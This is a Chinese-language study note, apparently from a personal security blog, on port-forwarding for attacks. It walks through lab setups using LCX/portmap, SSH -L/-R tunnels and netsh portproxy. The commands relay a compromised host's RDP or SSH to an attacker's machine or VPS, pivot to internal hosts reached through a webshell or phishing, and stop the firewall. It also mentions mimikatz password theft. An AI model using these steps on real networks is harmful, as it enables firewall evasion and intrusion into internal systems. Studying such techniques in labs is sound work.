端口转发相关工具和用法

端口转发相关工具和用法

LCX端口转发

LCX是一款端口转发工具,分为Windows版和Linux版,Linux版本为PortMap。

LCX有端口映射和端口转发两大功能,例如当目标的3389端口只对内开放而不对外开放时,可以使用端口映射将3389端口映射到目标的其他端口使用;当目标处于内网或目标配置的策略只允许访问固定某一端口时,可以通过端口转发突破限制。

Windows版的LCX用法:

1
2
3
4
5
端口转发:
Lcx -listen <监听slave请求的端口><等待连接的端口>
Lcx -slave <攻击机IP><监听端口><目标IP><目标端口>
端口映射:
Lcx -tran<等待连接的端口><目标IP><日标端口>

Linux版的LCX用法:

1
2
3
4
5
6
7
8
9
10
11
12
Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log
filename]
-v: version
-h1: host1
-h2: host2
-p1: port1
-p2: port2
-log: log the data
-m: the action method for this tool
1: listen on PORT1 and connect to HOST2:PORT2
2: listen on PORT1 and PORT2
3: connect to HOST1:PORT1 and HOST2:PORT2

LCX实验一

实验场景

由于配置了防火墙只允许web访问,这个时候攻击者想访问3389端口,远程连接是不可以的,就需要使 用LCX进行端口转发

Web服务器开启了80端口,3389端口不允许出网,可以将web服务器的3389端口转发到允许出网的53 端口,这个时候攻击者在本地监听53端口并且转发到1111端口,这个时候攻击者连接自己的1111端 口,等于访问web服务器的3389端口

image-20231029171108877

环境与问题解决

攻击机器:本机(10.210.99.82)

靶机:win7虚拟机(10.210.100.145)

1.解决主机ping不通虚拟机(开启防火墙)的问题:https://www.win10h.com/jiaocheng/41513.html

2.win7开启远程桌面连接

image-20231029171333081 image-20231029171449216

此时攻击机可以远程连接

image-20231029171412360

win7新建规则:

image-20231029171657911

此时无法远程连接

image-20231029171627882

实验复现

流程:将攻击机的53端口的流量带到1111端口,然后将靶机的3389端口转发到攻击机的53端口,由于攻击机的53端口的流量被带到了1111端口,所以访问127.0.0.1:1111即访问靶机的3389端口

1、在攻击机器上运行以下命令,监听本地53端口并且转发到本地1111端口

1
lcx -listen 53 1111

image-20231029173504765

2、在web靶机上运行以下命令, 将本地的3389端口转发到10.210.99.82的 53端口

1
lcx.exe -slave 10.210.99.82 53 127.0.0.1 3389

image-20231029173754694

image-20231029173741335

3、在攻击机器上运行远程桌面,地址为127.0.0.1:1111

image-20231029173903186

后续可通过mimikatz抓取密码然后登录

image-20231029174400127

LCX实验二

实验场景

Web服务器开启了80端口,3389端口不允许出网,可以将web服务器的3389端口转发到允许出网的53端口,这个时候攻击者在VPS监听54端口并且转发到1111端口,这个时候攻击者连接VPS的1111端口, 等于访问web服务器的3389端口

image-20231030214442769

实验环境

内网攻击机器:本机(10.210.99.82)

内网靶机:win7虚拟机(10.210.100.145)

vps:49.234.20.184

实验复现

1、在攻击机器上运行以下命令,监听本地54端口并且转发到本地1111端口

1
lcx.exe -slave 49.234.20.184 54 127.0.0.1 3389

image-20231030215919134

2、在vps运行lcx -listen 54 1111,因为我的机器vps机器是linux系统所以使用portmap

1
./portmap -m 2 -p1 54 -p2 1111
image-20231030215521166

3、在攻击机器上连接49.234.20.184:1111

image-20231030220015017

image-20231030220045049

ssh端口转发(linux)

当上传工具被杀软杀掉之后可以考虑ssh端口转发

SSH介绍

SSH通过网络远程访问主机提供保护,可以对客户端和服务端之间的数据传输进行压缩和加密,有身份 验证、SCP、SFTP、和端口转发的功能

SSH转发常用的参数介绍:

image-20231030221128106

1、本地转发(正向访问A)

实验场景

现在有如下的网络,电脑A是攻击机器,可以直接访问电脑B,但是访问不了机器C,可以借助B机器上的 SSH命令进行端口转发访问机器C

1、以下是实验环境拓扑图:

image-20231030221452446

实验环境

攻击机器A(win11):10.210.99.82

官网机器B(centos7):10.210.100.146/192.168.144.128

内网机器C(win7):192.168.144.130

添加网卡

image-20231030222642149

centos添加网络适配器vmnet4,两个网段

image-20231030224353877

win7配置为vmnet4

image-20231030225857468

网络情况如下:

1
2
3
A可以访问B
B可以访问C
A不能访问C

实验复现

1、使用webshell或者其他其他的方式连接到B机器

image-20231030230300725

2、使用转发的命令进行转发

1
2
ssh -CfNg -L 主机B端口:主机C_IP:主机C_端口 跳板主机B_IP
例如: ssh -CfNg -L 3333:192.168.144.130:3389 10.210.100.146 然后输入密码即可

image-20231030231059468

3、访问跳板机器的3333端口就可以访问内网机器的3389端口

这里需要关掉centos7的防火墙

1
systemctl stop firewalld
image-20231030231505404

image-20231030231613752

2、远程转发(反向访问A)

实验场景

攻击机者已经拿下了机器B 但是因为是内网机器所以无法直接访问,同时无法访问c主机,但是因为b有 ssh,我们使用远程转发 以下是实验环境拓扑图:

image-20231031095206801

实验环境

攻击机器A(centos7 公网):49.234.20.184

官网机器B(centos7 内网):10.210.100.146/192.168.144.128

内网机器C(ubuntu 内网):192.168.144.131(需要安装ssh服务)

网络情况如下:

1
2
3
B可以访问A
B可以访问C
A访问不了B

实验复现

1、通过反向连接(钓鱼)的方式连入公司的网络

image-20231031101732439

2、在B机器上执行如下的转发命令

1
2
ssh -CfNg -R 攻击者端口:目标主机IP:目标主机端口 -fN 攻击者_IP
例如: ssh -CfNg -R 1111:192.168.144.131:22 49.234.20.184 然后输入184的密码即可

image-20231031110713144

image-20231031110756262

3、在攻击的机器vps上访问1111端口就可以了(这里只能本地访问)

1
ssh root@127.0.0.1 -p 1111

image-20231031110916955

image-20231031110946392

3、动态转发(类似socks代理)

动态转发类似SOCKS代理,不仅仅是针对么某一个端口进行转发 后续学习

NETSH端口转发(windows)

NETSH介绍

netsh是windows系统自带命令行程序,攻击者无需上传第三方工具即可利用netsh程序可进行端口转 发操作,可将内网中其他服务器的端口转发至本地访问运行这个工具需要管理员的权限

image-20231031111737880

netsh实验

实验场景

现在有如下的网络,电脑A是攻击机器,可以直接访问电脑B,但是访问不了机器C,可以借助B机器上的 netsh命令进行端口转发访问机器C,这里注意只能访问端口

image-20231031111910620

实验环境

攻击机器A(win11):121.248.50.50

官网机器B(windows7 内网):10.210.100.147/192.168.144.130

image-20231031112343976

内网机器C(centos7 内网):192.168.144.128

实验复现

1、我们通过webshell或者CS远控对方电脑

image-20231031114123329

2、通过远控攻击在B上执行如下的命令(只有管理员才能执行)

将C机器的22端口转发到B机器上的9999端口

1
netsh interface portproxy add v4tov4 listenaddress=10.210.100.147 listenport=9999 connectport=22 connectaddress=192.168.144.128

image-20231031115006706

3、查看是否开启转发

1
netsh interface portproxy show v4tov4

image-20231031115149044

4、在攻击机器A上运行连接靶机C的端口

1
ssh root@10.210.100.147 -p 9999

image-20231031115128464

5、删除转发如下

1
netsh interface portproxy delete v4tov4 listenaddress=10.210.100.147 listenport=9999

端口转发相关工具和用法
http://example.com/2023/11/27/端口转发相关工具和用法/
作者
r1
发布于
2023年11月27日
许可协议